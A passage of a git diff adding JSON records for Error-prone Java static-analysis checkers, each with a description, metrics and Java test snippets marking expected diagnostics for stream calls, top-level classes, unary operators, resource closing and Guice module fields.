list2.stream())\n .parallel()\n .flatMap(a -> list2.stream())\n .parallel();\n }\n\n public void streamWithinAStreamImmediatelyAfterOtherParallel(\n List list, List list2) {\n // BUG: Diagnostic contains: Did you mean\n list.stream().parallel().map(m -> list2.stream().parallel()).parallel();\n }\n\n public void parallelAndNestedStreams(List list, List list2) {\n // BUG: Diagnostic contains: Did you mean\n list.parallelStream()\n .flatMap(childDir -> list2.stream())\n .parallel()\n .filter(m -> (new TestClass(\"test\")).testClass())\n .map(\n a -> {\n if (a == null) {\n return a;\n }\n return null;\n })\n .filter(a -> a != null)\n .flatMap(a -> list2.stream())\n .parallel();\n }\n\n private class TestClass {\n public TestClass(String con) {}\n\n private boolean testClass() {\n return true;\n }\n }\n}\\" + }, + { + "description": "negativeCases", + "expected-problems": null, + "expected-linenumbers": [ + 178 + ], + "code": "package com.google.errorprone.bugpatterns.testdata;\n\n import java.util.List;\n\n /** Created by mariasam on 7/6/17. */\n public class MultipleParallelOrSequentialCallsNegativeCases {\n\n public void basicCase(List list) {\n list.stream().parallel();\n }\n\n public void basicCaseSequential(List list) {\n list.stream().sequential();\n }\n\n public void basicCaseNotLast(List list) {\n list.stream().parallel().findFirst();\n }\n\n public void middleParallel(List list) {\n list.stream().map(m -> m).parallel().filter(m -> m.isEmpty());\n }\n\n public void otherMethod() {\n SomeObject someObject = new SomeObject();\n someObject.parallel().parallel();\n }\n\n public void otherMethodNotParallel(List list) {\n list.stream().filter(m -> m.isEmpty()).findFirst();\n }\n\n public void streamWithinAStreamImmediatelyAfter(List list) {\n list.stream().map(m -> list.stream().parallel()).parallel();\n }\n\n public void streamWithinAStreamImmediatelyAfterOtherParallelBothFirstAndWithin(\n List list) {\n list.stream().parallel().map(m -> list.stream().parallel());\n }\n\n public void streamWithinAStreamImmediatelyAfterOtherParallelBoth(List list) {\n list.stream().sequential().map(m -> list.stream().parallel()).parallel();\n }\n\n class SomeObject {\n public SomeObject parallel() {\n return null;\n }\n }\n }\\" + }, + { + "description": "fixes", + "expected-problems": null, + "expected-linenumbers": [ + 239 + ], + "code": "package com.google.errorprone.bugpatterns.testdata;\n\nimport java.util.Collection;\nimport java.util.List;\nimport java.util.stream.Stream;\n\n/**\n * @author @mariasam (Maria Sam) on 7/6/17.\n */\nclass MultipleParallelOrSequentialCallsPositiveCases {\n\n public void basicCaseParallel(List list) {\n // BUG: Diagnostic contains: Did you mean 'list.stream().parallel();'?\n list.stream().parallel().parallel();\n }\n\n public void basicCaseParallelNotFirst(List list) {\n // BUG: Diagnostic contains: Did you mean 'list.stream().parallel().map(m -> m);'?\n list.stream().map(m -> m).parallel().parallel();\n }\n\n public void basicCollection(Collection list) {\n // BUG: Diagnostic contains: Did you mean 'list.stream().parallel();'?\n list.stream().parallel().parallel();\n }\n\n public void parallelStream(List list) {\n // BUG: Diagnostic contains: Did you mean 'list.parallelStream();'?\n list.parallelStream().parallel().parallel();\n }\n\n public void basicCaseParallelThisInMethodArg(List list) {\n // BUG: Diagnostic contains: Did you mean 'this.hello(list.stream().parallel());'?\n this.hello(list.stream().parallel().parallel());\n }\n\n public void onlyOneError(List list) {\n this.hello(\n // BUG: Diagnostic contains: Multiple calls\n list.stream().parallel().parallel());\n }\n\n public void mapMethod(List list) {\n // BUG: Diagnostic contains: Did you mean 'hello(list.stream().parallel().map(m ->\n // this.hello(null)));'?\n hello(list.stream().map(m -> this.hello(null)).parallel().parallel());\n }\n\n public void betweenMethods(List list) {\n // BUG: Diagnostic contains: Did you mean 'list.stream().parallel().map(m -> m.toString());'?\n list.stream().parallel().map(m -> m.toString()).parallel();\n }\n\n public void basicCaseParallelNotLast(List list) {\n // BUG: Diagnostic contains: Did you mean 'list.stream().parallel().map(m ->\n // m.toString()).findFirst();'?\n list.stream().parallel().map(m -> m.toString()).parallel().findFirst();\n }\n\n public void basicCaseSequential(List list) {\n // BUG: Diagnostic contains: Did you mean 'list.stream().sequential().map(m -> m.toString());'?\n list.stream().sequential().map(m -> m.toString()).sequential();\n }\n\n public void bothSequentialAndParallel(List list) {\n // this case is unlikely (wrong, even) but just checking that this works\n // BUG: Diagnostic contains: Did you mean 'list.stream().sequential().parallel();'?\n list.stream().sequential().parallel().sequential();\n }\n\n public void bothSequentialAndParallelMultiple(List list) {\n // this is even more messed up, this test is here to make sure the checker doesn't throw an\n // exception\n // BUG: Diagnostic contains: Multiple calls\n list.stream().sequential().parallel().sequential().parallel();\n }\n\n public void parallelMultipleLines(List list) {\n // BUG: Diagnostic contains: Did you mean 'list.stream().parallel()\n list.stream().parallel().map(m -> m.toString()).parallel();\n }\n\n public void multipleParallelCalls(List list) {\n // BUG: Diagnostic contains: Did you mean 'list.parallelStream();'?\n list.parallelStream().sequential();\n }\n\n public String hello(Stream st) {\n return \"\";\n }\n\n public void streamWithinAStream(List list, List list2) {\n // BUG: Diagnostic contains: Did you mean\n list.stream()\n .flatMap(childDir -> list2.stream())\n .parallel()\n .flatMap(a -> list2.stream())\n .parallel();\n }\n\n public void streamWithinAStreamImmediatelyAfterOtherParallel(\n List list, List list2) {\n // BUG: Diagnostic contains: Did you mean\n list.stream().parallel().map(m -> list2.stream().parallel()).parallel();\n }\n\n public void parallelAndNestedStreams(List list, List list2) {\n // BUG: Diagnostic contains: Did you mean\n list.parallelStream()\n .flatMap(childDir -> list2.stream())\n .parallel()\n .filter(m -> (new TestClass(\"test\")).testClass())\n .map(\n a -> {\n if (a == null) {\n return a;\n }\n return null;\n })\n .filter(a -> a != null)\n .flatMap(a -> list2.stream())\n .parallel();\n }\n\n private class TestClass {\n public TestClass(String con) {}\n\n private boolean testClass() {\n return true;\n }\n }\n}\\\n\n\npackage com.google.errorprone.bugpatterns.testdata;\n\nimport java.util.Collection;\nimport java.util.List;\nimport java.util.stream.Stream;\n\n/**\n * @author @mariasam (Maria Sam) on 7/6/17.\n */\nclass MultipleParallelOrSequentialCallsPositiveCases {\n\n public void basicCaseParallel(List list) {\n // BUG: Diagnostic contains: Did you mean 'list.stream().parallel();'?\n list.stream().parallel();\n }\n\n public void basicCaseParallelNotFirst(List list) {\n // BUG: Diagnostic contains: Did you mean 'list.stream().parallel().map(m -> m);'?\n list.stream().parallel().map(m -> m);\n }\n\n public void basicCollection(Collection list) {\n // BUG: Diagnostic contains: Did you mean 'list.stream().parallel();'?\n list.stream().parallel();\n }\n\n public void parallelStream(List list) {\n // BUG: Diagnostic contains: Did you mean 'list.parallelStream();'?\n list.parallelStream();\n }\n\n public void basicCaseParallelThisInMethodArg(List list) {\n // BUG: Diagnostic contains: Did you mean 'this.hello(list.stream().parallel());'?\n this.hello(list.stream().parallel());\n }\n\n public void onlyOneError(List list) {\n this.hello(\n // BUG: Diagnostic contains: Multiple calls\n list.stream().parallel());\n }\n\n public void mapMethod(List list) {\n // BUG: Diagnostic contains: Did you mean 'hello(list.stream().parallel().map(m ->\n // this.hello(null)));'?\n hello(list.stream().parallel().map(m -> this.hello(null)));\n }\n\n public void betweenMethods(List list) {\n // BUG: Diagnostic contains: Did you mean 'list.stream().parallel().map(m -> m.toString());'?\n list.stream().parallel().map(m -> m.toString());\n }\n\n public void basicCaseParallelNotLast(List list) {\n // BUG: Diagnostic contains: Did you mean 'list.stream().parallel().map(m ->\n // m.toString()).findFirst();'?\n list.stream().parallel().map(m -> m.toString()).findFirst();\n }\n\n public void basicCaseSequential(List list) {\n // BUG: Diagnostic contains: Did you mean 'list.stream().sequential().map(m -> m.toString());'?\n list.stream().sequential().map(m -> m.toString());\n }\n\n public void bothSequentialAndParallel(List list) {\n // this case is unlikely (wrong, even) but just checking that this works\n // BUG: Diagnostic contains: Did you mean 'list.stream().sequential().parallel();'?\n list.stream().sequential().parallel();\n }\n\n public void bothSequentialAndParallelMultiple(List list) {\n // this is even more messed up, this test is here to make sure the checker doesn't throw an\n // exception\n // BUG: Diagnostic contains: Multiple calls\n list.stream().sequential().parallel().parallel();\n }\n\n public void parallelMultipleLines(List list) {\n // BUG: Diagnostic contains: Did you mean 'list.stream().parallel()\n list.stream().parallel().map(m -> m.toString());\n }\n\n public void multipleParallelCalls(List list) {\n // BUG: Diagnostic contains: Did you mean 'list.parallelStream();'?\n list.parallelStream();\n }\n\n public String hello(Stream st) {\n return \"\";\n }\n\n public void streamWithinAStream(List list, List list2) {\n // BUG: Diagnostic contains: Did you mean\n list.stream().parallel().flatMap(childDir -> list2.stream()).flatMap(a -> list2.stream());\n }\n\n public void streamWithinAStreamImmediatelyAfterOtherParallel(\n List list, List list2) {\n // BUG: Diagnostic contains: Did you mean\n list.stream().parallel().map(m -> list2.stream().parallel());\n }\n\n public void parallelAndNestedStreams(List list, List list2) {\n // BUG: Diagnostic contains: Did you mean\n list.parallelStream()\n .flatMap(childDir -> list2.stream())\n .filter(m -> (new TestClass(\"test\")).testClass())\n .map(\n a -> {\n if (a == null) {\n return a;\n }\n return null;\n })\n .filter(a -> a != null)\n .flatMap(a -> list2.stream());\n }\n\n private class TestClass {\n public TestClass(String con) {}\n\n private boolean testClass() {\n return true;\n }\n }\n}\\" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/MultipleTopLevelClasses.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/MultipleTopLevelClasses.json new file mode 100644 index 0000000..724c6b7 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/MultipleTopLevelClasses.json @@ -0,0 +1,70 @@ +{ + "name": "MultipleTopLevelClasses", + "language": "java", + "description": "Source files should not contain multiple top-level class declarations", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 65, + "branches": 7, + "apis": 2, + "test": [ + { + "description": "twoClasses", + "expected-problems": null, + "expected-linenumbers": [ + 33 + ], + "code": "package a;\n\n // BUG: Diagnostic contains: one top-level class declaration, instead found: One, Two\n class One {}\n\n // BUG: Diagnostic contains:\n class Two {}" + }, + { + "description": "packageInfo", + "expected-problems": null, + "expected-linenumbers": [ + 50 + ], + "code": "/** Documentation for our package */\n package a;" + }, + { + "description": "defaultPackage", + "expected-problems": null, + "expected-linenumbers": [ + 62 + ], + "code": "// BUG: Diagnostic contains:\n class A {}\n\n // BUG: Diagnostic contains:\n class B {}" + }, + { + "description": "suppression", + "expected-problems": null, + "expected-linenumbers": [ + 77 + ], + "code": "package a;\n\n class One {}\n\n @SuppressWarnings(\"TopLevel\")\n class Other {}" + }, + { + "description": "emptyDeclaration", + "expected-problems": null, + "expected-linenumbers": [ + 93 + ], + "code": "package a;\n\n class Test {}\n ;" + }, + { + "description": "semiInImportList", + "expected-problems": null, + "expected-linenumbers": [ + 107 + ], + "code": "" + }, + { + "description": "twoRecords", + "expected-problems": null, + "expected-linenumbers": [ + 128 + ], + "code": "package a;\n\n // BUG: Diagnostic contains: one top-level class declaration, instead found: One, Two\n record One() {}\n\n // BUG: Diagnostic contains:\n record Two() {}" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/MultipleUnaryOperatorsInMethodCall.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/MultipleUnaryOperatorsInMethodCall.json new file mode 100644 index 0000000..5e22cdc --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/MultipleUnaryOperatorsInMethodCall.json @@ -0,0 +1,30 @@ +{ + "name": "MultipleUnaryOperatorsInMethodCall", + "language": "java", + "description": "Avoid having multiple unary operators acting on the same variable in a method call", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 61, + "branches": 2, + "apis": 1, + "test": [ + { + "description": "positiveCase", + "expected-problems": null, + "expected-linenumbers": [ + 31 + ], + "code": "package com.google.errorprone.bugpatterns.testdata;\n\n /**\n * @author sulku@google.com (Marsela Sulku)\n */\n public class MultipleUnaryOperatorsInMethodCallPositiveCases {\n /** these cases do not have suggested fixes */\n public static void tests(int a, int b) {\n\n // BUG: Diagnostic contains: Avoid having multiple unary operators acting\n twoArgs(a++, a--);\n // BUG: Diagnostic contains: Avoid having multiple unary operators acting\n twoArgs(a--, ++a);\n // BUG: Diagnostic contains: Avoid having multiple unary operators acting\n twoArgs(++a, a++);\n // BUG: Diagnostic contains: Avoid having multiple unary operators acting\n twoArgs(--a, --a);\n\n // BUG: Diagnostic contains: Avoid having multiple unary operators acting\n threeArgs(a++, b++, b++);\n // BUG: Diagnostic contains: Avoid having multiple unary operators acting\n threeArgs(a++, b, a++);\n // BUG: Diagnostic contains: Avoid having multiple unary operators acting\n threeArgs(++a, b++, --b);\n // BUG: Diagnostic contains: Avoid having multiple unary operators acting\n threeArgs(++a, a++, b);\n // BUG: Diagnostic contains: Avoid having multiple unary operators acting\n threeArgs(++a, a++, a);\n // BUG: Diagnostic contains: Avoid having multiple unary operators acting\n threeArgs(++a, a++, a--);\n }\n\n public static void twoArgs(int a, int b) {}\n\n public static void threeArgs(int a, int b, int c) {}\n\n public static int someFunction(int a) {\n return 0;\n }\n }\\" + }, + { + "description": "negativeCase", + "expected-problems": null, + "expected-linenumbers": [ + 81 + ], + "code": "package com.google.errorprone.bugpatterns.testdata;\n\n /**\n * @author sulku@google.com (Marsela Sulku)\n */\n public class MultipleUnaryOperatorsInMethodCallNegativeCases {\n public static void tests(int a, int b, int[] xs) {\n testMethod(a, b);\n testMethod(a + 1, b);\n testMethod(b, a + 1);\n testMethod(a++, b);\n testMethod(--a, b);\n testMethod(a, b--);\n testMethod(a, ++b);\n testMethod(xs[0]++, xs[0]++);\n }\n\n public static void testMethod(int one, int two) {}\n }\\" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/MustBeClosedChecker.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/MustBeClosedChecker.json new file mode 100644 index 0000000..95b9545 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/MustBeClosedChecker.json @@ -0,0 +1,70 @@ +{ + "name": "MustBeClosedChecker", + "language": "java", + "description": "This method returns a resource which must be managed carefully, not just left for garbage collection. If it is a constant that will persist for the lifetime of your program, move it to a private static final field. Otherwise, you should use it in a try-with-resources.", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 147, + "branches": 19, + "apis": 1, + "test": [ + { + "description": "positiveCases", + "expected-problems": null, + "expected-linenumbers": [ + 300 + ], + "code": "" + }, + { + "description": "negativeCases", + "expected-problems": null, + "expected-linenumbers": [ + 307 + ], + "code": "package com.google.errorprone.bugpatterns.testdata;\n\nimport static java.io.InputStream.nullInputStream;\nimport static java.io.OutputStream.nullOutputStream;\nimport static java.io.Reader.nullReader;\nimport static java.io.Writer.nullWriter;\nimport static org.junit.Assert.fail;\nimport static org.mockito.Mockito.doReturn;\nimport static org.mockito.Mockito.when;\n\nimport com.google.common.collect.ImmutableList;\nimport com.google.errorprone.annotations.MustBeClosed;\nimport java.io.BufferedInputStream;\nimport java.io.BufferedOutputStream;\nimport java.io.BufferedReader;\nimport java.io.BufferedWriter;\nimport java.io.IOException;\nimport java.io.InputStreamReader;\nimport java.io.OutputStreamWriter;\n\n@SuppressWarnings({\"UnnecessaryCast\", \"LambdaToMemberReference\"})\npublic class MustBeClosedCheckerNegativeCases {\n\n class Closeable implements AutoCloseable {\n\n @Override\n public void close() {}\n }\n\n class Foo {\n\n void bar() {}\n\n @MustBeClosed\n Closeable mustBeClosedAnnotatedMethod() {\n return new Closeable();\n }\n }\n\n class MustBeClosedAnnotatedConstructor extends Closeable {\n\n @MustBeClosed\n MustBeClosedAnnotatedConstructor() {}\n }\n\n @SuppressWarnings(\"MustBeClosedChecker\")\n void respectsSuppressWarnings_onMethod() {\n new Foo().mustBeClosedAnnotatedMethod();\n }\n\n void respectsSuppressWarnings_onLocal() {\n @SuppressWarnings(\"MustBeClosedChecker\")\n var unused = new Foo().mustBeClosedAnnotatedMethod();\n }\n\n void negativeCase3() {\n try (Closeable closeable = new Foo().mustBeClosedAnnotatedMethod()) {}\n }\n\n void negativeCase4() {\n Foo foo = new Foo();\n try (Closeable closeable = foo.mustBeClosedAnnotatedMethod()) {}\n }\n\n void negativeCase5() {\n new Foo().bar();\n }\n\n void negativeCase6() {\n try (MustBeClosedAnnotatedConstructor foo = new MustBeClosedAnnotatedConstructor()) {}\n }\n\n void negativeCase7() {\n try (MustBeClosedAnnotatedConstructor foo = new MustBeClosedAnnotatedConstructor();\n Closeable closeable = new Foo().mustBeClosedAnnotatedMethod()) {}\n }\n\n @MustBeClosed\n Closeable positiveCase8() {\n // This is fine since the caller method is annotated.\n return new MustBeClosedAnnotatedConstructor();\n }\n\n @MustBeClosed\n Closeable positiveCase7() {\n // This is fine since the caller method is annotated.\n return new Foo().mustBeClosedAnnotatedMethod();\n }\n\n @MustBeClosed\n Closeable ternary(boolean condition) {\n return condition ? new Foo().mustBeClosedAnnotatedMethod() : null;\n }\n\n @MustBeClosed\n Closeable cast() {\n // TODO(b/241012760): remove the following line after the bug is fixed.\n // BUG: Diagnostic contains:\n return (Closeable) new Foo().mustBeClosedAnnotatedMethod();\n }\n\n void tryWithResources() {\n Foo foo = new Foo();\n Closeable closeable = foo.mustBeClosedAnnotatedMethod();\n try {\n } finally {\n closeable.close();\n }\n }\n\n void mockitoWhen(Foo mockFoo) {\n when(mockFoo.mustBeClosedAnnotatedMethod()).thenReturn(null);\n doReturn(null).when(mockFoo).mustBeClosedAnnotatedMethod();\n }\n\n void testException() {\n try {\n ((Foo) null).mustBeClosedAnnotatedMethod();\n fail();\n } catch (NullPointerException e) {\n }\n }\n\n abstract class ParentWithNoArgument implements AutoCloseable {\n @MustBeClosed\n ParentWithNoArgument() {}\n }\n\n abstract class ParentWithArgument implements AutoCloseable {\n @MustBeClosed\n ParentWithArgument(int i) {}\n }\n\n abstract class ChildOfParentWithArgument extends ParentWithArgument {\n @MustBeClosed\n ChildOfParentWithArgument() {\n super(0);\n }\n }\n\n interface ResourceFactory {\n @MustBeClosed\n MustBeClosedAnnotatedConstructor getResource();\n }\n\n void consumeCloseable(ResourceFactory factory) {\n try (Closeable c = factory.getResource()) {}\n }\n\n void expressionLambdaReturningCloseable() {\n consumeCloseable(() -> new MustBeClosedAnnotatedConstructor());\n }\n\n void statementLambdaReturningCloseable() {\n consumeCloseable(\n () -> {\n return new MustBeClosedAnnotatedConstructor();\n });\n }\n\n void methodReferenceReturningCloseable() {\n consumeCloseable(MustBeClosedAnnotatedConstructor::new);\n }\n\n void ternaryFunctionalExpressionReturningCloseable(boolean condition) {\n consumeCloseable(\n condition\n ? () -> new MustBeClosedAnnotatedConstructor()\n : MustBeClosedAnnotatedConstructor::new);\n }\n\n void inferredFunctionalExpressionReturningCloseable(ResourceFactory factory) {\n ImmutableList.of(\n factory,\n () -> new MustBeClosedAnnotatedConstructor(),\n MustBeClosedAnnotatedConstructor::new)\n .forEach(this::consumeCloseable);\n }\n\n @MustBeClosed\n C mustBeClosed(C c) {\n return c;\n }\n\n void closedByDecorator() throws IOException {\n try (var in = new BufferedInputStream(mustBeClosed(nullInputStream()))) {}\n try (var out = new BufferedOutputStream(mustBeClosed(nullOutputStream()))) {}\n\n try (var in = new BufferedInputStream(mustBeClosed(nullInputStream()), 1024)) {}\n try (var out = new BufferedOutputStream(mustBeClosed(nullOutputStream()), 1024)) {}\n\n try (var r = new InputStreamReader(mustBeClosed(nullInputStream()))) {}\n try (var w = new OutputStreamWriter(mustBeClosed(nullOutputStream()))) {}\n\n try (var r = new BufferedReader(mustBeClosed(nullReader()))) {}\n try (var w = new BufferedWriter(mustBeClosed(nullWriter()))) {}\n }\n}" + }, + { + "description": "refactoring", + "expected-problems": null, + "expected-linenumbers": [ + 515 + ], + "code": "package com.google.errorprone.bugpatterns.testdata;\n\nimport static java.io.OutputStream.nullOutputStream;\n\nimport com.google.errorprone.annotations.MustBeClosed;\nimport java.io.ByteArrayOutputStream;\nimport java.io.FilterOutputStream;\nimport java.io.IOException;\nimport java.io.OutputStream;\nimport java.util.function.Supplier;\nimport java.util.stream.Stream;\nimport java.util.zip.GZIPOutputStream;\n\n@SuppressWarnings({\"UnusedNestedClass\", \"UnusedVariable\"})\nclass MustBeClosedCheckerPositiveCases {\n\n class DoesNotImplementAutoCloseable {\n @MustBeClosed\n // BUG: Diagnostic contains: MustBeClosed should only annotate constructors of AutoCloseables.\n DoesNotImplementAutoCloseable() {}\n\n @MustBeClosed\n // BUG: Diagnostic contains: MustBeClosed should only annotate methods that return an\n // AutoCloseable.\n void doesNotReturnAutoCloseable() {}\n }\n\n class Closeable implements AutoCloseable {\n\n @Override\n public void close() {}\n\n public int method() {\n return 1;\n }\n }\n\n class Foo {\n\n @MustBeClosed\n Closeable mustBeClosedAnnotatedMethod() {\n return new Closeable();\n }\n\n void sameClass() {\n // BUG: Diagnostic contains:\n try (var closeable = mustBeClosedAnnotatedMethod()) {}\n }\n }\n\n class MustBeClosedAnnotatedConstructor extends Closeable {\n\n @MustBeClosed\n MustBeClosedAnnotatedConstructor() {}\n\n void sameClass() {\n // BUG: Diagnostic contains:\n try (var mustBeClosedAnnotatedConstructor = new MustBeClosedAnnotatedConstructor()) {}\n }\n }\n\n void positiveCase1() {\n // BUG: Diagnostic contains:\n try (var closeable = new Foo().mustBeClosedAnnotatedMethod()) {}\n }\n\n void positiveCase2() {\n // BUG: Diagnostic contains:\n try (Closeable closeable = new Foo().mustBeClosedAnnotatedMethod()) {}\n }\n\n void positiveCase3() {\n try {\n // BUG: Diagnostic contains:\n try (var closeable = new Foo().mustBeClosedAnnotatedMethod()) {}\n } finally {\n }\n }\n\n void positiveCase4() {\n try (Closeable c = new Foo().mustBeClosedAnnotatedMethod()) {\n // BUG: Diagnostic contains:\n try (var closeable = new Foo().mustBeClosedAnnotatedMethod()) {}\n }\n }\n\n void positiveCase5() {\n // BUG: Diagnostic contains:\n try (var mustBeClosedAnnotatedConstructor = new MustBeClosedAnnotatedConstructor()) {}\n }\n\n @MustBeClosed\n Closeable positiveCase6() {\n // BUG: Diagnostic contains:\n return new MustBeClosedAnnotatedConstructor();\n }\n\n @MustBeClosed\n Closeable positiveCase7() {\n // BUG: Diagnostic contains:\n return new Foo().mustBeClosedAnnotatedMethod();\n }\n\n int existingDeclarationUsesVar() {\n // Bug: Diagnostic contains:\n try (var result = new Foo().mustBeClosedAnnotatedMethod()) {\n return 0;\n }\n }\n\n boolean twoCloseablesInOneExpression() {\n // BUG: Diagnostic contains:\n try (var closeable = new Foo().mustBeClosedAnnotatedMethod()) {\n try (var closeable2 = new Foo().mustBeClosedAnnotatedMethod()) {\n return closeable == closeable2;\n }\n }\n }\n\n void voidLambda() {\n // Lambda has a fixless finding because no reasonable fix can be suggested.\n // BUG: Diagnostic contains:\n Runnable runnable = () -> new Foo().mustBeClosedAnnotatedMethod();\n }\n\n void expressionLambda() {\n Supplier supplier =\n () ->\n // BUG: Diagnostic contains:\n new Foo().mustBeClosedAnnotatedMethod();\n }\n\n void statementLambda() {\n Supplier supplier =\n () -> {\n // BUG: Diagnostic contains:\n return new Foo().mustBeClosedAnnotatedMethod();\n };\n }\n\n void methodReference() {\n Supplier supplier =\n // TODO(b/218377318): BUG: Diagnostic contains:\n new Foo()::mustBeClosedAnnotatedMethod;\n }\n\n void anonymousClass() {\n new Foo() {\n @MustBeClosed\n @Override\n public Closeable mustBeClosedAnnotatedMethod() {\n // BUG: Diagnostic contains:\n return new MustBeClosedAnnotatedConstructor();\n }\n };\n }\n\n void subexpression() {\n // BUG: Diagnostic contains:\n try (var closeable = new Foo().mustBeClosedAnnotatedMethod()) {\n closeable.method();\n }\n }\n\n void ternary(boolean condition) {\n // BUG: Diagnostic contains:\n int result;\n try (var closeable = new Foo().mustBeClosedAnnotatedMethod()) {\n result = condition ? closeable.method() : 0;\n }\n }\n\n int variableDeclaration() {\n // BUG: Diagnostic contains:\n int result;\n try (var closeable = new Foo().mustBeClosedAnnotatedMethod()) {\n result = closeable.method();\n }\n return result;\n }\n\n void tryWithResources_nonFinal() {\n Foo foo = new Foo();\n // BUG: Diagnostic contains:\n try (Closeable closeable = foo.mustBeClosedAnnotatedMethod()) {\n try {\n closeable = null;\n } finally {\n closeable.close();\n }\n }\n }\n\n void tryWithResources_noClose() {\n Foo foo = new Foo();\n // BUG: Diagnostic contains:\n try (Closeable closeable = foo.mustBeClosedAnnotatedMethod()) {\n try {\n } finally {\n }\n }\n }\n\n class CloseableFoo implements AutoCloseable {\n\n @MustBeClosed\n CloseableFoo() {}\n\n // Doesn't autoclose Foo on Stream close.\n Stream stream() {\n return null;\n }\n\n @Override\n public void close() {}\n }\n\n void twrStream() {\n // BUG: Diagnostic contains:\n try (CloseableFoo closeableFoo = new CloseableFoo();\n Stream stream = closeableFoo.stream()) {}\n }\n\n void constructorsTransitivelyRequiredAnnotation() {\n abstract class Parent implements AutoCloseable {\n @MustBeClosed\n Parent() {}\n\n // BUG: Diagnostic contains: Invoked constructor is marked @MustBeClosed\n @MustBeClosed\n Parent(int i) {\n this();\n }\n }\n\n // BUG: Diagnostic contains: Implicitly invoked constructor is marked @MustBeClosed\n abstract class ChildDefaultConstructor extends Parent {}\n\n abstract class ChildExplicitConstructor extends Parent {\n // BUG: Diagnostic contains: Invoked constructor is marked @MustBeClosed\n @MustBeClosed\n ChildExplicitConstructor() {}\n\n // BUG: Diagnostic contains: Invoked constructor is marked @MustBeClosed\n @MustBeClosed\n ChildExplicitConstructor(int a) {\n super();\n }\n }\n }\n\n @MustBeClosed\n OutputStream mustBeClosedOutputStream() {\n return nullOutputStream();\n }\n\n void decoratorConstructorThrows() throws IOException {\n // BUG: Diagnostic contains:\n try (OutputStream outputStream = mustBeClosedOutputStream();\n var s = new GZIPOutputStream(outputStream)) {}\n }\n\n void notClosedByDecorator() throws IOException {\n class NotFilterOutputStream extends ByteArrayOutputStream {\n NotFilterOutputStream(OutputStream out) {}\n }\n // BUG: Diagnostic contains:\n try (OutputStream outputStream = mustBeClosedOutputStream();\n var s = new NotFilterOutputStream(outputStream)) {}\n }\n\n @MustBeClosed\n OutputStream decoratorMustBeClosed() {\n class MustBeClosedFilter extends FilterOutputStream {\n @MustBeClosed\n MustBeClosedFilter(OutputStream out) {\n super(out);\n }\n }\n // BUG: Diagnostic contains:\n return new MustBeClosedFilter(\n // handled above\n mustBeClosedOutputStream());\n }\n}" + }, + { + "description": "enumInitializer", + "expected-problems": null, + "expected-linenumbers": [ + 812 + ], + "code": "import com.google.errorprone.annotations.MustBeClosed;\n import java.io.Closeable;\n\n enum Test {\n A;\n\n interface Foo extends Closeable {}\n\n @MustBeClosed\n static Foo createResource() {\n return null;\n }\n\n private final Foo resource;\n private final Foo resource2 = createResource();\n\n Test() {\n this.resource = createResource();\n }\n }" + }, + { + "description": "forLoop", + "expected-problems": null, + "expected-linenumbers": [ + 842 + ], + "code": "import com.google.errorprone.annotations.MustBeClosed;\n\n class Test {\n class Closeable implements AutoCloseable {\n @Override\n public void close() {}\n\n public int method() {\n return 1;\n }\n }\n\n class Foo {\n @MustBeClosed\n Closeable mustBeClosedMethod() {\n return null;\n }\n }\n\n void forLoopCondition() {\n for (int i = 0; i < new Foo().mustBeClosedMethod().method(); ++i) {}\n }\n }\n \n\n import com.google.errorprone.annotations.MustBeClosed;\n\n class Test {\n class Closeable implements AutoCloseable {\n @Override\n public void close() {}\n\n public int method() {\n return 1;\n }\n }\n\n class Foo {\n @MustBeClosed\n Closeable mustBeClosedMethod() {\n return null;\n }\n }\n\n void forLoopCondition() {\n try (var closeable = new Foo().mustBeClosedMethod()) {\n for (int i = 0; i < closeable.method(); ++i) {}\n }\n }\n }" + }, + { + "description": "forLoopUnfixable", + "expected-problems": null, + "expected-linenumbers": [ + 905 + ], + "code": "import com.google.errorprone.annotations.MustBeClosed;\n\n class Test {\n class Closeable implements AutoCloseable {\n @Override\n public void close() {}\n\n public int method() {\n return 1;\n }\n }\n\n class Foo {\n @MustBeClosed\n Closeable mustBeClosedMethod() {\n return null;\n }\n }\n\n void forLoopInitialization() {\n for (int i = new Foo().mustBeClosedMethod().method(); i > 0; --i) {}\n }\n\n void forLoopUpdate() {\n for (int i = 0; i < 100; i += new Foo().mustBeClosedMethod().method()) {}\n }\n }" + }, + { + "description": "localVariableTypeInference", + "expected-problems": null, + "expected-linenumbers": [ + 943 + ], + "code": "class Closeable implements AutoCloseable {\n @Override\n public void close() {}\n\n public int method() {\n return 1;\n }\n }\n \n\n import com.google.errorprone.annotations.MustBeClosed;\n\n class Foo {\n @MustBeClosed\n Closeable mustBeClosedMethod() {\n return null;\n }\n }\n \n\n class Test {\n void test(Foo foo) {\n var bar = foo.mustBeClosedMethod().method();\n }\n }\n \n\n class Test {\n void test(Foo foo) {\n int bar;\n try (var closeable = foo.mustBeClosedMethod()) {\n bar = closeable.method();\n }\n }\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/MutableGuiceModule.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/MutableGuiceModule.json new file mode 100644 index 0000000..65cb60e --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/MutableGuiceModule.json @@ -0,0 +1,46 @@ +{ + "name": "MutableGuiceModule", + "language": "java", + "description": "Fields in Guice modules should be final", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 89, + "branches": 10, + "apis": 2, + "test": [ + { + "description": "positive", + "expected-problems": null, + "expected-linenumbers": [ + 29 + ], + "code": "import com.google.inject.AbstractModule;\n\n class Test extends AbstractModule {\n // BUG: Diagnostic contains:\n String x = new String();\n }" + }, + { + "description": "positiveType", + "expected-problems": null, + 